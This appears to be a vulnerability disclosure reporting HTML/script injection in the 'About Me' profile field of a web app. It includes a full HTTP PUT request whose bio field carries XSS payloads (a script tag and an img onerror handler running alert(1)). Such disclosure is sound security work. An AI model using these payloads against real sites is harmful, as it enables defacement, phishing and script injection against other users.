Description

HTML injection in user profile

Vulnerability is in: http://34.245.133.152:9080/users/settings/profile - About Me

Proof of Concept

Request:

PUT /answer/api/v1/user/info HTTP/1.1
Host: localhost:9080
Content-Length: 213
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Content-Type: application/json
Accept-Language: en_US
sec-ch-ua-mobile: ?0
Authorization: ec83deeb-b2cf-11ed-b0f7-0242ac110002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
sec-ch-ua-platform: "macOS"
Accept: */*
Origin: http://localhost:9080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:9080/users/settings/profile
Accept-Encoding: gzip, deflate
Connection: close

{"display_name":"admin","username":"adminn","avatar":{"type":"default","gravatar":"","custom":""},"bio":"<script>alert(1)<\\x00/script>\n<style></style><img src=x onerror=alert(1)//\">","website":"","location":""}

Impact

Html injection vulnerability in profile - Hacker could also use the injected code to modify the content of the page, making it appear legitimate but actually serving up phishing or malware content.